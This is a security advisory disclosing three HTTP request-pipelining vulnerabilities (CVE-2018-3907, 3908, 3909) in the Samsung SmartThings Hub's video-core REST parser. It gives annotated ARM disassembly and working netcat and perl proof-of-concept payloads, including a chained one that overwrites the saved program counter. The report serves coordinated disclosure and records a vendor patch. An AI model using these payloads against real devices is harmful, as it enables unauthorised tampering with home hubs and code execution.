### Summary
Multiple exploitable vulnerabilities exist in the REST parser of
`video-core`'s HTTP server of the Samsung SmartThings Hub. The
`video-core` process incorrectly handles pipelined HTTP requests, which
allows successive requests to overwrite the previously parsed HTTP
method, URL and body. An attacker can send an HTTP request to trigger
this vulnerability.
### Tested Versions
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
### Product URLs
[https://www.smartthings.com/products/smartthings-hub](https://www.smartthings.com/products/smartthings-hub)
### CVSSv3 Score
9.1 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
### CWE
CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request
Smuggling')
### Details
Samsung produces a series of devices aimed at controlling and monitoring
a home, such as wall switches, LED bulbs, thermostats and cameras. One
of those is the Samsung SmartThings Hub, a central controller which
allows an end user to use their smartphone to connect to their house
remotely and operate other devices through it. The hub board utilizes
several systems on chips. The firmware in question is executed by an
i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A
architecture.
The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the `hubCore` process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allows for secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras,
configures them and looks at their livestreams. For testing, we set up
the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream
can be displayed by the smartphone application by connecting either to
the remote SmartThings servers, or directly to the camera, if they're
both in the same subnetwork.
Inside the hub, the livestream is handled by the `video-core` process,
which uses `ffmpeg` to connect via RTSP to the smart camera in its same
local network, and at the same time, provides a streamable link for the
smartphone application.
The remote SmartThings servers have the possibility to communicate with
the `video-core` process by sending messages in the persistent TLS
connection, established by the `hubCore` process. These messages can
encapsulate an HTTP request, which `hubCore` would relay directly to the
HTTP server exposed by `video-core`. The HTTP server listens on port
3000, bound to the localhost address, so a local connection is needed to
perform this request.
The HTTP server implementation in `video-core` is based on
[`http-parser`](https://github.com/nodejs/http-parser). The usage of
`http-parser` is explained in the project's "readme", and essentially
allows for an HTTP server to be implemented using the following steps:
1. Create an `http_parser` object and call `http_parser_init()`.
2. Create an `http_parser_settings` object and configure any required callback. For example, the `on_url` function is called right after the URL component of the request is parsed.
3. Bind to any port and read an arbitrarily-long message (the client's HTTP request).
4. Send the message and the `http_parser_settings` object to `http_parser_execute()`, which takes care of parsing the request and calling the necessary callbacks.
5. If the function doesn't return any parsing error, execute any logic based on the parsed data.
The `http-parser` library supports both chunked and pipelined requests.
Because of this, the callbacks may be invoked multiple times during a
single `http_parser_execute()` call. The callbacks defined by
`video-core` are:
- `on_url`: called when a URL is parsed.
- `on_body`: called when an HTTP body is parsed.
- `on_message_complete`: called when the current HTTP request is complete.
The callbacks, as defined by `video-core`, correctly support chunked
requests. However, they incorrectly handle pipelined requests, as they
don't have the concept of multiple HTTP requests over a unique
connection.
#### CVE-2018-3907 - "on\_url" callback
The following is the implementation of the `on_url` callback, defined by
`sub_41618`:
.text:00041618 sub_41618
.text:00041618
.text:00041618 var_1F8= -0x1F8
.text:00041618 var_1F4= -0x1F4
.text:00041618 s = -0x1F0
.text:00041618
.text:00041618 000 STMFD SP!, {R4-R6,LR}
.text:0004161C 010 MOV R5, R2
.text:00041620 010 LDR R4, [R0,#http_parser.data]
.text:00041624 010 SUB SP, SP, #0x1E8
.text:00041628 1F8 LDR R0, [R4,#0x24]
.text:0004162C 1F8 ADD R3, R2, R0 ; [1]
.text:00041630 1F8 CMP R3, #0x200 ; [2]
.text:00041634 1F8 BCC loc_41658
...
.text:00041658 loc_41658
.text:00041658 1F8 ADD R0, R4, R0
.text:0004165C 1F8 MOV R6, #0
.text:00041660 1F8 ADD R0, R0, #0x2C
.text:00041664 1F8 BL memcpy ; [3]
.text:00041668 1F8 MOV R3, #:lower16:debug_log
.text:0004166C 1F8 LDR R1, [R4,#0x24]
.text:00041670 1F8 MOVT R3, #:upper16:debug_log
.text:00041674 1F8 LDR R2, [R3]
.text:00041678 1F8 ADD R5, R5, R1
.text:0004167C 1F8 ADD R3, R4, R5
.text:00041680 1F8 STR R5, [R4,#0x24] ; [4]
.text:00041684 1F8 CMP R2, #3
.text:00041688 1F8 STRB R6, [R3,#0x2C]
.text:0004168C 1F8 BHI loc_416EC
.text:00041690 1F8 MOV R0, R6
.text:00041694
.text:00041694 loc_41694
.text:00041694 1F8 ADD SP, SP, #0x1E8
.text:00041698 010 LDMFD SP!, {R4-R6,PC}
The callback receives three arguments, in order:
- `http_parser` object
- string pointing to the `url` portion
- length of the `url` string
At [1], the current length of the parsed `url` string is extracted from
the structure stored in `http_parser.data`, and at [2], the function
ensures that the final `url` has a maximum length of 512 characters. At
[3], the `url` portion received as second parameter is concatenated to
the current `url`. Finally, at [4], the length is updated in the global
structure.
When pipelined HTTP requests are present, this callback will be called
multiple times and the same `url` buffer will be updated, causing
successive request to interfere with each other.
##### "on\_url" exploit Proof of Concept
The following proof of concept shows how to perform one unique HTTP
request by concatenating the paths of two different requests:
$ echo -e "GET /req1 HTTP/1.1\r\n\r\nGET /req2\r\n\r\n" | nc 127.0.0.1 3000
By looking at the hub's logs, we can see that the parsed request is "GET
/req1/req2", rather than two different HTTP requests.
# grep " REST " /var/log/videoCoreLog | tail -n 2
[... #1325 REST videoCoreREST.c:374] handling request GET /req1/req2
[... #1325 REST httpMethod.c:151] http response 404 size=67 for GET /req1/req2
Note that `http-parser` imposes restrictions on the URI format,
specifically when the URI just includes a path, this must start with
either "\*" or "/", otherwise an error is thrown and the parsing is
interrupted.
#### CVE-2018-3908 - "on\_body" callback
The following is the implementation of the `on_body` callback, defined
by `sub_41734`:
.text:00041734 sub_41734
.text:00041734
.text:00041734 var_1F8= -0x1F8
.text:00041734 var_1F4= -0x1F4
.text:00041734 s = -0x1F0
.text:00041734
.text:00041734 000 STMFD SP!, {R4-R6,LR}
.text:00041738 010 MOV R5, R2
.text:0004173C 010 LDR R4, [R0,#http_parser.data]
.text:00041740 010 SUB SP, SP, #0x1E8
.text:00041744 1F8 LDR R0, [R4,#0x28]
.text:00041748 1F8 ADD R3, R2, R0 ; [1]
.text:0004174C 1F8 CMP R3, #0x1C00 ; [2]
.text:00041750 1F8 BCC loc_41774
...
.text:00041774 loc_41774
.text:00041774 1F8 ADD R0, R4, R0
.text:00041778 1F8 MOV R6, #0
.text:0004177C 1F8 ADD R0, R0, #0x22C
.text:00041780 1F8 BL memcpy ; [3]
.text:00041784 1F8 MOV R3, #:lower16:debug_log
.text:00041788 1F8 LDR R1, [R4,#0x28]
.text:0004178C 1F8 MOVT R3, #:upper16:debug_log
.text:00041790 1F8 LDR R2, [R3]
.text:00041794 1F8 ADD R5, R5, R1
.text:00041798 1F8 ADD R3, R4, R5
.text:0004179C 1F8 STR R5, [R4,#0x28] ; [4]
.text:000417A0 1F8 CMP R2, #3
.text:000417A4 1F8 STRB R6, [R3,#0x22C]
.text:000417A8 1F8 BHI loc_41808
.text:000417AC 1F8 MOV R0, R6
.text:000417B0
.text:000417B0 loc_417B0
.text:000417B0 1F8 ADD SP, SP, #0x1E8
.text:000417B4 010 LDMFD SP!, {R4-R6,PC}
The implementation is similar to the `on_url` callback, except for the
maximum size of the body component [2].
##### "on\_body" exploit Proof of Concept
The following proof of concept shows how to perform one unique HTTP
request, specifying the path in the first request, and the body in the
second:
# assume that we have a camera with id 00000000-0000-0000-0000-000000000001, and notice the "url" is "A".
$ curl -X GET http://127.0.0.1:3000/cameras/00000000-0000-0000-0000-000000000001
{"status":"success","data":{"cameraId":"00000000-0000-0000-0000-000000000001","locationId":"00000000-0000-0000-0000-000000000000","dni":"000000000000","url":"A"}}
# change the url to "B"
$ echo -e "PATCH /cameras HTTP/1.1\r\n\r\nPATCH /00000000-0000-0000-0000-000000000001\r\nContent-Length: 22\r\n\r\n{\"url\":\"B\",\"state\":\"\"}" | nc 127.0.0.1 3000
HTTP/1.1 200 OK
Server: Video-Core
Date: Wed, 11 Apr 2018 14:53:28 GMT
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
Connection: close
Content-Length: 319
Content-Type: application/json
{ "status": "Updated", "camera": { "cameraId": "00000000-0000-0000-0000-000000000001", "locationId": "00000000-0000-0000-0000-000000000000", "dni": "000000000000", "url": "B", "state": "", "status": "unavailable", "statusMessage": "" } }
As we can see, the "url" field of the camera has been changed to "B", by
specifying the body part of the first HTTP request in the second HTTP
request.
#### CVE-2018-3909 - "on*message*complete" callback
The following is the implementation of the `on_message_complete`
callback, defined by `sub_415F4`:
.text:000415F4 sub_415F4
.text:000415F4 000 LDR R3, [R0,#http_parser.data]
.text:000415F8 000 MOV R2, R0
.text:000415FC 000 LDRB R12, [R2,#http_parser.method]
.text:00041600 000 MOV R1, #1
.text:00041604 000 MOV R0, #0
.text:00041608 000 ADD R2, R3, #0x1000
.text:0004160C 000 STR R12, [R3,#0x20] ; [5]
.text:00041610 000 STR R1, [R2,#0xE2C]
.text:00041614 000 BX LR
This function is called every time `http-parser` detects the end of an
HTTP request. For example, if two HTTP requests are present in the
buffer, this function will be called two times.
At [5] the "method" field of a custom structure, defined by
`video-core`, is updated. When pipelined HTTP requests are present, the
last request will overwrite the "method" field last, so all previous
methods will be discarded.
##### "on*message*complete" exploit Proof of Concept
The following proof of concept shows how to perform one unique HTTP
request, using the second request for changing the method specified by
the first one:
$ echo -e "PUT /cameras HTTP/1.1\r\n\r\nGET /00000000-0000-0000-0000-000000000001\r\n\r\n" | nc 127.0.0.1 3000
HTTP/1.1 200 OK
Server: Video-Core
Date: Wed, 11 Apr 2018 15:10:21 GMT
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
Connection: close
Content-Length: 162
Content-Type: application/json
Content-Location: /dev/000000000000
{"status":"success","data":{"cameraId":"00000000-0000-0000-0000-000000000001","locationId":"00000000-0000-0000-0000-000000000000","dni":"000000000000","url":"A"}}
By looking at the hub's logs, we can see that the parsed request is "GET
/cameras/00000000-0000-0000-0000-000000000001", rather than "PUT
/cameras/00000000-0000-0000-0000-000000000001".
# grep " REST " /var/log/videoCoreLog | tail -n 2
[... #1325 REST videoCoreREST.c:374] handling request GET /cameras/00000000-0000-0000-0000-000000000001
[... #1325 REST httpMethod.c:151] http response 200 size=162 for GET /cameras/00000000-0000-0000-0000-000000000001
### Exploit Proof of Concept
The following proof of concept shows how to use the three
vulnerabilities above in order to trigger an additional vulnerability
described in TALOS-2018-0573, which will overwrite the saved-PC with
0x41414141.
$ (perl -e 'print "DELETE /cameras/ HTTP/1.1\r\nContent-Length: 6904\r\n\r\n{\"cameraId\":\"x\",\"locationId\":\"x\",\"dni\":\"x\",\"url\":\"","X"x6740,"AAAABBBB","\x55\x55\x8a\x75","C"x100,"\"}\r\n\r\nPUT *\r\n\r\n"') | nc -vv 127.0.0.1 3000
Moreover, we verified that the same could be applied to the buffer
overflow in TALOS-2018-0570 and the SQL injection in TALOS-2018-0556
(when used on the "/clips" path), however with the requirement of
knowing at least an existing "cameraId".
Finally, note that the three vulnerabilities in this report provide a
different way of exploiting bugs in `video-core`, and could give mainly
two advantages to an attacker:
- Can be used to evade attacks identification, by splitting HTTP components in multiple requests.
- Can be further chained with TALOS-2018-0578 to achieve arbitrary code execution without authentication.
### Timeline
* 2018-04-19 - Vendor Disclosure
* 2018-05-23 - Discussion with vendor/review of timeline for disclosure
* 2018-07-17 - Vendor patched
* 2018-07-26 - Public Release
暂无评论